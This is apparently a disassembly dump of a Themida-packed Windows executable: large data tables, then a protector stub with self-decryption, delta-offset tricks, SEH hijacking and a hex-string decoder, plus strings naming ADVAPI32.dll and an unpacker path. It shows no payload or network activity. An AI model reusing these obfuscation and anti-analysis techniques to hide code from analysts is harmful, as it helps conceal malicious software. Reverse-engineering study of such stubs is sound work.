0C8h, 0Bh dup(0) dd 0F000000h, 9CA0h, 7Dh, 4 dup(0) dd 0F0000000h, 5369h, 0Fh dup(0) dd 0A6000000h, 579Eh, 0Dh dup(0) dd 28000000h, 2 dup(0) dd 0B000000h, 766F2Ch, 8 dup(0) dd 4000000h, 3 dup(0) dd 0AC000000h, 5 dup(0) dd 18000000h, 7A77E806h, 0F1E21Ah, 0 dd 0F1000000h, 0E6F3FCh, 0Eh dup(0) dd 0DD000000h, 901A68h, 3 dup(0) dd 16000000h, 0FB005306h, 54FFh, 0 dd 50000000h, 0F63E11h, 1000000h, 1A000000h, 0F2CDB8h dd 0 dd 0D8000000h, 83009E7Fh, 8980013Dh, 0E47615h, 0E5000000h dd 41534h, 2 dup(0) dd 63000000h, 56C7h, 2 dup(0) dd 0DD000000h, 9C69h, 3 dup(0) dd 5D000000h, 531Bh, 0 dd 76B400h, 5 dup(0) dd 360h, 0 dd 55000000h, 0EC813h, 2 dup(0) dd 2F000000h, 0CB7FFE55h, 0DF004FA3h, 30h, 3 dup(0) dd 44000000h, 0D9C246DAh, 5BD3BDh, 0 dd 0D4000000h, 89641Fh, 0 dd 0EE000000h, 0E800006Ah, 10h, 0 dd 4000000h, 0E77FFE03h, 0A0A5h, 0Ah dup(0) dd 74000000h, 0CC9C49h, 2 dup(0) dd 1A000000h, 0F2CDB8h, 0 dd 54000000h, 9BD5h, 0 dd 9C2EF9h, 0Fh dup(0) dd 94000000h, 0DD000000h, 9C22h, 6 dup(0) dd 0A0000000h, 3, 2 dup(0) dd 0D3000000h, 0FFFFFCh, 0EE000000h, 6Ah, 3 dup(0) dd 5C000000h, 47B46h, 4 dup(0) dd 0D7000000h, 8EC4FAh, 0EF000000h, 77E793h, 6A000000h dd 77D4C9h, 5 dup(0) dd 0FF000000h, 7400001Fh, 0FFA9ACh, 6 dup(0) dd 78000000h, 49000000h, 5390h, 0 dd 64000000h, 0F70055E1h, 9C09h, 0 dd 61000000h, 57B5h, 3 dup(0) dd 77F500h, 0 dd 0A3000000h, 0FFACE4h, 7 dup(0) dd 4000000h, 7FFE03h, 44000000h, 0A2C246DAh, 0FFA7F1h dd 0D7000000h, 8EC4FAh, 2 dup(0) dd 0F8000000h, 4F9Dh, 5 dup(0) dd 80000000h, 0DD781982h, 9C69h, 5 dup(0) dd 0DD000000h, 9C69h, 6B000000h, 0F88D5Eh, 37000000h, 2B009C9Ch dd 5FD369h, 94000000h, 0F2798Ch, 7 dup(0) dd 0D5000000h, 0FFFF96h, 8 dup(0) dd 0C5000000h, 0E0F92908h, 0D5000003h, 5338h, 15000000h dd 5786h, 0FD000000h, 5672h, 0 dd 91000000h, 52B0h, 4 dup(0) dd 65000000h, 7A0000F0h, 531Dh, 4A000000h, 1423h, 0B5000000h dd 77E75Ch, 0C2000000h, 54B2h, 4 dup(0) dd 7D000000h, 0DAF6A3h, 2 dup(0) dd 0EA000000h, 0F07762h, 3 dup(0) dd 12000000h, 0FD4255h, 68000000h, 7477E821h, 0FFAC12h dd 0E9000000h, 20Eh, 4 dup(0) dd 29000000h, 604DCDh, 0 dd 75000000h, 54B1h, 23000000h, 0AC005300h, 9E9Bh, 0 dd 0B0000000h, 22CFFh, 0 dd 0F0000000h, 12FFh, 0F0000000h, 12FEh, 6 dup(0) dd 0C4000000h, 12FFh, 2 dup(0) dd 0C4000000h, 5651h, 2 dup(0) dd 17000000h, 0Fh, 0BF000000h, 538Eh, 0 dd 0A0000000h, 0FFFF1Dh, 4 dup(0) dd 0C1000000h, 7904A9h, 1Bh dup(0) dd 7F000000h, 3, 2 dup(0) dd 4000000h, 3, 2 dup(0) dd 77000000h, 0C12CBBh, 1E000000h, 54C1h, 2 dup(0) dd 0A1000000h, 0FFEEF4h, 0DD000000h, 9C69h, 3 dup(0) dd 0F8000000h, 697608h, 6 dup(0) dd 0C0000000h, 1A0054CCh, 0F2CDB8h, 37000000h, 0F7FDDEh dd 0 dd 60000000h, 8D009D15h, 0F75F8Dh, 5 dup(0) dd 0B2000000h, 1FFFFh, 0 dd 25600h, 3 dup(0) dd 4C000000h, 56EFh, 0 dd 96000000h, 0D00556Ch, 0DC8006h, 5 dup(0) dd 0EE000000h, 6Ah, 0 dd 54000000h, 0F80012FFh, 0FFABCBh, 5 dup(0) dd 9A000000h, 77DD18h, 0 dd 0E9000000h, 20Eh, 2 dup(0) dd 5E025500h, 580Eh, 4 dup(0) dd 32000000h, 4FB0h, 0FC000000h, 8001FCh, 0Dh dup(0) dd 0E0000000h, 12FFh, 0 dd 0B8000000h, 0 dd 0D9000000h, 0FFFFBDh, 3100h, 0 dd 0DD000000h, 9C69h, 12h dup(0) dd 2000000h, 0 dd 4000000h, 7FFE03h, 70000000h, 0DB000000h, 531Bh, 2 dup(0) dd 75000000h, 0E1965Ch, 9 dup(0) dd 5D000000h, 531Bh, 6 dup(0) dd 86000000h, 0FFA996h, 3E000000h, 0FD659D95h, 77E7A5h dd 0 dd 57000000h, 0CC9CE9h, 3 dup(0) dd 0C0000000h, 6A0001AAh, 77D4C9h, 0 dd 8C000000h, 0F9000000h, 5671h, 0 dd 0D8000000h, 2 dup(0) dd 9F000000h, 2871Bh, 4 dup(0) dd 24000000h, 4F7Ch, 6 dup(0) dd 4000000h, 7FFE03h, 9 dup(0) dd 84000000h, 4 dup(0) dd 0B6000000h, 579Fh, 3 dup(0) dd 2E000000h, 9C5Eh, 0 dd 78000000h, 0B7h, 22000000h, 22222222h, 95222222h, 0B45024h dd 6 dup(0) dd 8B000000h, 54B0h, 8 dup(0) dd 0D4000000h, 5522h, 21h dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 0CD000000h, 527Bh, 5000000h, 11000000h, 14DF12h, 4 dup(0) dd 0FF000000h, 77E7AEh, 3 dup(0) dd 0A7000000h, 550Ah, 0 dd 5D000000h, 531Bh, 6E000000h, 823282h, 7 dup(0) dd 0DF000000h, 0A9C530h, 0CB000000h, 5652h, 0 dd 66000000h, 6500549Eh, 0E95511D6h, 0Eh, 0Ch dup(0) dd 70000000h, 0FFFF9Ch, 750048D0h, 0BA4DE3h, 0 dd 94000000h, 2 dup(0) dd 41000000h, 5514h, 43000000h, 49575C3Ah, 574F444Eh, 79535C53h dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h dd 3Dh dup(0) dd 0E4000000h, 54F3h, 0 dd 0DE000000h, 2866EBh, 2 dup(0) dd 28700h, 2C000000h, 0F7FFFE77h, 0E8004F9Dh, 52ADh, 0 dd 64000000h, 541Fh, 4 dup(0) dd 0FC000000h, 27D7Fh, 5 dup(0) dd 4000000h, 17FFE03h, 5 dup(0) dd 94000000h, 84808h, 6 dup(0) dd 5403h, 0Ah dup(0) dd 6F000000h, 0AA282AA3h, 565Bh, 3 dup(0) dd 23000000h, 0FF6396h, 0DF000000h, 0A9C530h, 0 dd 0DF000000h, 575DF9h, 4 dup(0) dd 5000000h, 0 dd 0C5000000h, 5556h, 4 dup(0) dd 0D8000000h, 77E805h, 32h dup(0) dd 2B000000h, 7C000069h, 63000000h, 0FB7FD0h, 5 dup(0) dd 9C000000h, 29000000h, 0EF7FEAh, 2 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 70000000h, 2269C0h, 0 dd 0DD000000h, 14009C79h, 0F977E836h, 97378675h, 0FF0AFFh dd 0 dd 0A3000000h, 57A0h, 0Dh dup(0) dd 1000000h, 0 dd 0AA000000h, 40054B1h, 7 dup(0) dd 49000000h, 2E8ACCh, 0DF000000h, 0A9C530h, 0E9000000h dd 0F500020Eh, 4540E15h, 7FFE03h, 5 dup(0) dd 64000000h, 6877E821h, 9BB1h, 0 dd 0D6000000h, 44A733h, 0 dd 0F9000000h, 5671h, 5 dup(0) dd 2A000000h, 810000C8h, 84726012h, 55D9h, 8 dup(0) dd 68000000h, 9D15h, 9A000000h, 5390h, 3 dup(0) dd 40000000h, 76B41Bh, 8 dup(0) dd 0DE000000h, 9C2Bh, 6 dup(0) dd 0CE000000h, 0A47FFE03h, 8B000000h, 5463h, 0 dd 68000000h, 9D15h, 0FF00AA00h, 27D7Fh, 5 dup(0) dd 0FC000000h, 8001FCh, 5 dup(0) dd 2000000h, 75000000h, 86985h, 5 dup(0) dd 5B004000h, 5304h, 20h, 0 dd 7B000000h, 7E761Fh, 0 dd 95000000h, 6E00A099h, 24DDACh, 5 dup(0) dd 0C3000000h, 5403h, 66000000h, 5450h, 0 dd 1000000h, 0Ch dup(0) dd 0F0000000h, 77DD59h, 0 dd 0C8000000h, 0B368BAh, 0 dd 0F1000000h, 0F8000054h, 4216CF8h, 7FFE03h, 9 dup(0) dd 68000000h, 4009D32h, 7FFE03h, 0F9000000h, 5671h, 9 dup(0) dd 98000000h, 4 dup(0) dd 53000000h, 400A08Dh, 0B47FFE03h, 0 dd 0B0000000h, 32009C6Ch, 67004FB0h, 5635h, 6 dup(0) dd 0B8000000h, 2DD878h, 2 dup(0) dd 0ED000000h, 3DFF4Ch, 0 dd 90000000h, 6 dup(0) dd 3F000000h, 5E77E7A1h, 77E7ACh, 2 dup(0) dd 0C000000h, 2FF0B1Fh, 0 dd 4000000h, 7FFE03h, 39000000h, 328145h, 92000000h, 6Ah dd 1000000h, 0CA000000h, 0AAB1h, 0E9000000h, 20Eh, 23000000h dd 0FF6396h, 2 dup(0) dd 0AB000000h, 54F3h, 0 dd 60000000h, 200h, 0 dd 4000000h, 7FFE03h, 0 dd 0E9005403h, 528Eh, 3 dup(0) dd 0CE000000h, 52ADh, 2 dup(0) dd 40000000h, 810ED2h, 3 dup(0) dd 0E8000000h, 9D23h, 4000000h, 3, 7 dup(0) dd 0C4000000h, 9C70h, 14000000h, 8F0h, 8 dup(0) dd 1D000000h, 55A4h, 0E6000000h, 9B0Fh, 3 dup(0) dd 54000000h, 12FFh, 16h dup(0) dd 50000000h, 22DEE0h, 0EE000000h, 6Ah, 6 dup(0) dd 23000000h, 6 dup(0) dd 0D000000h, 43E7B360h, 5F6D5C3Ah, 61706E75h, 72656B63h dd 80h dup(0) dd 0EE000000h, 6Ah, 0 dd 4000000h, 7FFE03h, 41000000h, 52B0h, 2Eh dup(0) dd 16000000h, 9E73h, 8 dup(0) dd 0B3000000h, 57B2h, 9 dup(0) dd 4E000000h, 0F50054F3h, 3017FCh, 0E9000000h, 20Eh, 0 dd 0A6000000h, 0DD00579Eh, 5B009C69h, 0DD009C91h, 6BCA69h dd 3 dup(0) dd 1A000000h, 6005223h, 0E077E6D7h, 0F00532Eh, 2977F52Eh dd 4FFA9A9h, 0F7000003h, 0A2009C09h, 0FFA7F1h, 0E877D400h dd 77E82Fh, 3 dup(0) dd 4000000h, 7FFE03h, 0 dd 1000000h, 5000000h, 0 dd 77E600h, 4 dup(0) dd 0A0000000h, 2 dup(0) dd 0FD000000h, 0CC005672h, 77DD5Eh, 0 dd 0AA000000h, 63h, 4 dup(0) dd 0FF000000h, 2417A189h, 0FFh, 5 dup(0) dd 95000000h, 4DF2798Ch, 5636h, 3 dup(0) dd 16000000h, 0ECBC99h, 0FE000000h, 0FE00ACA1h, 18FFFFFFh dd 1CD857E0h, 563Bh, 0 dd 73000000h, 4F80h, 0 dd 54000000h, 12FFh, 2 dup(0) dd 39000000h, 538911h, 0 dd 8F000000h, 5339h, 28h dup(0) dd 4000000h, 7C7FFE03h, 53DDh, 2 dup(0) dd 0DF000000h, 0A9C530h, 39000000h, 6F5Ch, 2 dup(0) dd 9F000000h, 0CD4E82h, 7 dup(0) dd 0E9000000h, 20Eh, 0 dd 0A5000000h, 0B300542Bh, 0FE77F7EBh, 6363B1h, 6 dup(0) dd 3AAh, 2 dup(0) dd 0E1000000h, 5852B4h, 4 dup(0) dd 94000000h, 0FFFF95h, 0 dd 5E000013h, 55A3h, 0 dd 0FF000000h, 0FFFFFFh, 3 dup(0) dd 1000000h, 0B8000000h, 172953h, 0 dd 4000h, 0 dd 0DF000000h, 6Ah, 3 dup(0) dd 54000000h, 894106h, 2 dup(0) dd 75CEFC88h, 52FFA9F6h, 61747365h, 70417472h, 78652E70h dd 63000065h, 4C97AEh, 3 dup(0) dd 62000000h, 7DB7BA62h, 0BCh, 0Ah dup(0) dd 0DF000000h, 68A9C530h, 77E83Eh, 3 dup(0) dd 0E0000000h, 0C0AE9559h, 95000000h, 10h, 2 dup(0) dd 0F0000000h, 1446h, 4 dup(0) dd 0FF000000h, 57FFh, 90000000h, 0Eh dup(0) dd 477DD00h, 7FFE03h, 6D000000h, 0B5F6DEh, 4 dup(0) dd 0A000000h, 9C8Ch, 0 dd 4000000h, 7FFE03h, 3 dup(0) dd 23D00h, 0 dd 0E8000000h, 0B877E82Fh, 2456Ch, 2 dup(0) dd 1000000h, 4 dup(0) dd 4000000h, 7FFE03h, 80000000h, 7300000Eh, 0D7004F80h dd 2456Bh, 2 dup(0) dd 0F9000000h, 5671h, 3 dup(0) dd 88000000h, 82FFF2D5h, 0AF77E78Bh, 152h, 0 dd 63000000h, 0FFAC3Fh, 0FC000000h, 8001FCh, 5 dup(0) dd 0C5000000h, 18Bh, 0 dd 0AC000000h, 6 dup(0) dd 25700h, 0 dd 0DD000000h, 9C69h, 0 dd 65000000h, 5285h, 60025600h, 200h, 0FB000000h, 0AAA358h dd 2F000000h, 0C16371D9h, 0DF1497h, 3 dup(0) dd 0B8000000h, 2456Ch, 4 dup(0) dd 63000000h, 77E779h, 4 dup(0) dd 71000000h, 0FFABE7h, 0 dd 0DB000000h, 0BF005572h, 0FF4F77h, 0 dd 0D9000000h, 5BD3BDh, 2 dup(0) dd 54000000h, 0FFh, 2 dup(0) dd 13000000h, 2C691Fh, 5 dup(0) dd 0E8000000h, 52ADh, 6 dup(0) dd 0FC0008C0h, 8001FCh, 9C000000h, 3AD18Fh, 4 dup(0) dd 25800h, 710846h, 0 dd 8F000000h, 5339h, 0F0000000h, 12FEh, 3 dup(0) dd 33000000h, 47864Ah, 10h dup(0) dd 0CF000000h, 3E11B9h, 4 dup(0) dd 0FC000000h, 8001FCh, 7 dup(0) dd 82000000h, 0FF77E78Bh, 0AB4F77h, 0F000000h, 9CA0h, 0EE000000h dd 6Ah, 4 dup(0) dd 0D2000000h, 5, 0 dd 1000000h, 31000000h, 53CFh, 3 dup(0) dd 34000000h, 4009EB1h, 7FFE03h, 0 dd 0D8000000h, 56B9h, 0 dd 4000000h, 7FFE03h, 74000000h, 0F000000h, 9CA0h, 0 dd 0E9000000h, 20Eh, 8 dup(0) dd 0FB000000h, 5BDFBDh, 8 dup(0) dd 13001850h, 0AAC900h, 9 dup(0) dd 4000000h, 7FFE03h, 6 dup(0) dd 94000000h, 0FFFFFFh, 2 dup(0) dd 63000000h, 0FB7FD0h, 80h dup(0) dd 83000000h, 7DBA8Bh, 0 dd 0DD000000h, 9C69h, 23h dup(0) dd 4000000h, 7FFE03h, 6 dup(0) dd 39000000h, 3 dup(0) dd 1000000h, 4 dup(0) dd 2B000000h, 0B0C3A5h, 3 dup(0) dd 5E000000h, 580Eh, 2 dup(0) dd 3F000000h, 1F626EF3h, 521Bh, 0Fh dup(0) dd 0D9000000h, 0FFFFBDh, 5E000000h, 0FF005319h, 0C4834Bh dd 86000000h, 0E977E7C4h, 20Eh, 0 dd 94000000h, 0F2798Ch, 0A000000h, 9C8Ch, 0Eh, 0Bh dup(0) dd 0EE000000h, 6Ah, 0B0000000h, 0BFE86Eh, 5 dup(0) dd 9D000000h, 4FFFFC5h, 7FFE03h, 0 dd 0A3000000h, 0FFACE4h, 8 dup(0) dd 0E6000000h, 0D3247h, 0 dd 0DE000000h, 8D2866EBh, 0B0F75F8Dh, 33340F30h, 2 dup(33333333h) dd 333333h, 4 dup(0) dd 20000000h, 217B39h, 3 dup(0) dd 3E000000h, 57A1h, 0 dd 6F000000h, 5463h, 0B7000000h, 1, 8C000000h, 53EDh, 6 dup(0) dd 94000000h, 4FB8h, 7 dup(0) dd 32000000h, 4FB0h, 2 dup(0) dd 2E000000h, 77E75Ch, 3 dup(0) dd 0B300h, 4 dup(0) dd 4000000h, 67DCA9h, 2 dup(0) dd 63000000h, 77E779h, 2 dup(0) dd 2000000h, 7 dup(0) dd 3000000h, 0A16E0h, 4 dup(0) dd 4010h, 6 dup(0) dd 4000h, 3 dup(0) dd 23000000h, 4F00h, 35000000h, 56CAh, 2 dup(0) dd 60000000h, 12FFh, 0CC000000h, 0CF00547Eh, 73255CE2h dd 4F80h, 8000000h, 9F747h, 0Ch dup(0) dd 0EB000000h, 61B7Fh, 6 dup(0) dd 16000000h, 5306h, 0 dd 24000000h, 0FFh, 4 dup(0) dd 0DD000000h, 9C69h, 7 dup(0) dd 1000000h, 600h, 63h dup(0) dd 1000000h, 0 dd 3B000000h, 5537h, 93000000h, 9C93h, 2 dup(0) dd 0E9000000h, 77EBA6h, 0EB000000h, 5442h, 3 dup(0) dd 44000000h, 563Dh, 4 dup(0) dd 0A8000000h, 1A000000h, 0F2CDB8h, 0B5000000h, 0AF949Ch dd 4 dup(0) dd 54000000h, 696D6568h, 6164h, 1Dh dup(0) dd 50000000h, 1503Bh, 6A000000h, 77D4C9h, 0 dd 0D4000000h, 0FFAD85h, 44000000h, 77E7A1h, 34000000h dd 9C92h, 3 dup(0) dd 2B000000h, 69h, 5 dup(0) dd 60000000h, 0E0EDCAh, 2 dup(0) dd 45000000h, 9C31h, 7 dup(0) dd 0EA000000h, 1A134366h, 0F2CDB8h, 3 dup(0) dd 72000000h, 53D8h, 0 dd 4000000h, 7FFE03h, 0D1000000h, 7, 4 dup(0) dd 0A4000000h, 12FFh, 4 dup(0) dd 6000000h, 5 dup(0) dd 68000000h, 54A741h, 0C3000000h, 6, 8 dup(0) dd 4000000h, 7FFE03h, 9000000h, 6F005660h, 8D00531Bh, 0FFB07Fh dd 3 dup(0) dd 0F0000000h, 34Ah, 8 dup(0) dword_4FA1E4 dd 1B000000h, 5223h, 0 ; DATA XREF: Themida_:004FF804o dd 0BC000000h, 73h, 5000000h, 0CDh, 0Ch dup(0) dd 37000000h, 9CA0h, 4 dup(0) dd 5B000000h, 0A3000003h, 0ADD3E3h, 8 dup(0) dd 0B5000000h, 77E75Ch, 2 dup(0) dd 63000000h, 93FFAC3Fh, 7Ch, 2C000000h, 527Ah, 14h dup(0) dd 0D2000000h, 3Bh, 3 dup(0) dd 84000000h, 99F97BF7h, 77E7A0h, 3 dup(0) dd 6C000000h, 24FFFF8Fh, 242424h, 0 dd 23000000h, 0FF6396h, 0 dd 0D1000000h, 73h, 4 dup(0) dd 51000000h, 530AF6h, 2 dup(0) dd 4000000h, 0Eh, 8 dup(0) dd 0C9000000h, 4FB4h, 2 dup(0) dd 8000000h, 5434h, 0 dd 4000000h, 3, 0C7000000h, 24Ah, 0 dd 4000000h, 7FFE03h, 4 dup(0) dd 0B8000000h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Ch, 424448Bh dd 0E0FFh, 12h dup(0) dd 58000000h, 0FFFF97h, 11h dup(0) dd 63000000h, 4C97AEh, 0Ah dup(0) dd 4000000h, 7FFE03h, 12h dup(0) dd 68000000h, 77E821h, 2 dup(0) dd 73000000h, 4F80h, 0 dd 0B6000000h, 236FF1h, 0EE000000h, 6Ah, 90000000h, 12FFh dd 99000000h, 9C94h, 0Ch dup(0) dd 9E000000h, 0C1F0CAh, 0 dd 0C6000000h, 80675Eh, 0 dd 0D7000000h, 77DD23h, 3 dup(0) dd 0E0000000h, 56A6h, 4000000h, 7FFE03h, 0Dh dup(0) dd 1000000h, 0DA3B7CB4h, 32BACB6Bh, 4FB0h, 3 dup(0) dd 4000000h, 7FFE03h, 63000000h, 177E779h, 3B7CB4h, 2 dup(0) dd 73000000h, 8052BBh, 0A3000000h, 92CDA680h, 9C22h, 5403h dd 0 dd 7000000h, 801190h, 6F000000h, 282AA3h, 6 dup(0) dd 5E000000h, 3A77E7ACh, 56FFACFAh, 9CFAh, 1000000h, 34000000h dd 0F8009EB1h, 12FEh, 4000000h, 80000000h, 0CF72h, 7 dup(0) dd 4000000h, 7FFE03h, 9B00h, 5 dup(0) dd 21000000h, 212121h, 54000000h, 577F512h, 40000D2h, 57FFE03h dd 0A2801h, 0Ah dup(0) dd 5E000000h, 4977E7ACh, 7EFC08h, 0 dd 9D000000h, 800053C0h, 0 dd 59000000h, 7C19D0h, 0E9000000h, 20Eh, 0 dd 2D000000h, 52F0h, 7 dup(0) dd 5D000000h, 32597Fh, 0 dd 97000000h, 0FF0AFFh, 0Ah dup(0) dd 0E8000000h, 10h, 2 dup(0) dd 0FC000000h, 8001FCh, 0E9000000h, 0B07C002Ch, 1DCFFh dd 0 dd 88000000h, 0D9000000h, 40B3h, 0 dd 5D000000h, 531Bh, 4 dup(0) dd 59000000h, 197C19D0h, 0 dd 0C7000000h, 0EFF8h, 0AEh dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FAAC7: ; CODE XREF: start:loc_4F750Ej mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 60735C3h mov [ebp+6070899h], edx mov [ebp+60701C9h], esi mov [ebp+6070871h], eax cmp dword ptr [ebp+6070DB5h], 0 jz short loc_4FAAFF mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4FAAFF: ; CODE XREF: start+6BADDj mov eax, [esp+40h+var_1C] mov [ebp+6071AEDh], eax push 45h call sub_4FABB3 push 783749Ah call sub_4FABF9 push 0A894B25h call sub_4FABF9 jmp loc_4FAD3D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FABB3 proc near ; CODE XREF: start+6BAF7p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 60736B1h mov ebx, edx mov [ebp+var_28], 0 loc_4FABCF: ; CODE XREF: sub_4FABB3+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_4FABEE mov eax, [ebp+arg_0] mov [ebx+607361Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_4FABCF ; --------------------------------------------------------------------------- loc_4FABEE: ; CODE XREF: sub_4FABB3+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_4FABB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FABF9 proc near ; CODE XREF: start+6BB01p start+6BB0Bp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 60736FAh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_4FAC1F: ; CODE XREF: sub_4FABF9+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_4FAC1F mov [ebp+var_84], 0 lea edi, [edx+607361Bh] lea esi, [ebp+var_80] loc_4FAC4F: ; CODE XREF: sub_4FABF9+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_4FAC5B: ; CODE XREF: sub_4FABF9+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_4FAC5B imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_4FAC4F popa leave retn 4 sub_4FABF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_4FAC99 ; --------------------------------------------------------------------------- loc_4FAC95: ; CODE XREF: Themida_:004FAC9Cj inc dword ptr [ebp-4] inc esi loc_4FAC99: ; CODE XREF: Themida_:004FAC93j cmp byte ptr [esi], 0 jnz short loc_4FAC95 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_4FAD2A ; --------------------------------------------------------------------------- loc_4FACAB: ; CODE XREF: Themida_:004FAD2Dj mov dword ptr [ebp-8], 0 jmp short loc_4FAD21 ; --------------------------------------------------------------------------- loc_4FACB4: ; CODE XREF: Themida_:004FAD25j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_4FAD0E ; --------------------------------------------------------------------------- loc_4FACC4: ; CODE XREF: Themida_:004FAD12j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_4FACE6 cmp bl, 39h ja short loc_4FACE6 sub bl, 30h jmp short loc_4FAD08 ; --------------------------------------------------------------------------- loc_4FACE6: ; CODE XREF: Themida_:004FACDAj ; Themida_:004FACDFj cmp bl, 61h jb short loc_4FACF8 cmp bl, 66h ja short loc_4FACF8 sub bl, 61h add bl, 0Ah jmp short loc_4FAD08 ; --------------------------------------------------------------------------- loc_4FACF8: ; CODE XREF: Themida_:004FACE9j ; Themida_:004FACEEj cmp bl, 41h jb short loc_4FAD08 cmp bl, 46h ja short loc_4FAD08 sub bl, 41h add bl, 0Ah loc_4FAD08: ; CODE XREF: Themida_:004FACE4j ; Themida_:004FACF6j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_4FAD0E: ; CODE XREF: Themida_:004FACC2j cmp dword ptr [ebp-0Ch], 2 jb short loc_4FACC4 cmp dword ptr [ebp-10h], 0 jbe short loc_4FAD1E mov eax, [ebp-10h] stosb loc_4FAD1E: ; CODE XREF: Themida_:004FAD18j inc dword ptr [ebp-8] loc_4FAD21: ; CODE XREF: Themida_:004FACB2j cmp dword ptr [ebp-8], 2 jb short loc_4FACB4 add edx, 4 loc_4FAD2A: ; CODE XREF: Themida_:004FACA9j cmp edx, [ebp-4] jb loc_4FACAB mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FAD3D: ; CODE XREF: start+6BB10j mov ecx, 7000h lea edi, [ebp+6073840h] loc_4FAD48: ; CODE XREF: start+6BD38j dec byte ptr [edi] inc edi dec ecx jnz short loc_4FAD48 mov eax, 48692121h mov edx, 0F008F000h sub edx, 0F0000000h lea eax, [ebp+607392Dh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jnp loc_4FAD84 mov ebx, 6E9C553Fh loc_4FAD84: ; CODE XREF: start+6BD65j push 0 push ebp call sub_4FAD8F and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_4FAD8F proc near ; CODE XREF: start+6BD73p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_4FAD8F endp ; --------------------------------------------------------------------------- db 1Dh dd 0C22BD813h, 25DABF0Fh, 0FFFFF000h, 0CA8B5B52h, 8166FF33h dd 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h dd 1000h, 64E3EB47h, 58Fh, 0C4830000h, 40958D04h, 52060739h dd 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh, 4708B00h dd 0E681h, 0FE81FFFFh, 80000000h, 708B0376h, 83C0331Ch dd 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh, 0EBEB4000h dd 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h, 58Fh, 0C4830000h dd 51C36104h, 10244C8Bh, 0B0A981h, 10000000h, 33590000h dd 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 607394Bh, 3909858Dh dd 81890607h, 0B8h, 0C033595Dh, 8F6496C3h, 5, 4C48300h dd 8BBB6650h, 8B665B53h, 0D98C66DFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0EEC35040h, 82A80738h, 0D56AEABBh dd 4E18048h, 0C90AD98Bh, 17850Fh, 85C70000h, 607218Dh dd 1, 7B9A26BBh, 22E911h, 0DF800000h, 8D85C7B7h, 60721h dd 0E9000000h, 10h, 99DD5ABEh, 0D7F63480h, 40094577h, 71AB77DDh dd 1B2D8589h, 85890607h, 60731ADh, 11E8h, 6CCEBB00h, 0DDCCE273h dd 48E7A7ABh, 56BB54DFh, 86BA11E2h, 594B9CB4h, 0B8D0Fh dd 890F0000h, 5, 0AADF8166h, 27C18100h, 0F00005Eh, 58Dh dd 8E2EBB00h, 0F62B198Dh, 6E9h, 0FE2F2E00h, 0FFEDEFCDh dd 0F6800E34h, 0E9605858h, 10h, 7E6F5F67h, 156C83Fh, 78D1AF30h dd 66A88B6Bh, 12E9h, 3EC9B100h, 0D75FDF79h, 76664D96h dd 0A279CB13h, 615E9923h, 4930C081h, 0BB6644E5h, 0E881CA78h dd 4C181DD4h, 53BF5256h, 5A1B84A9h, 64C0815Ah, 8B2C6251h dd 0CE950D6h, 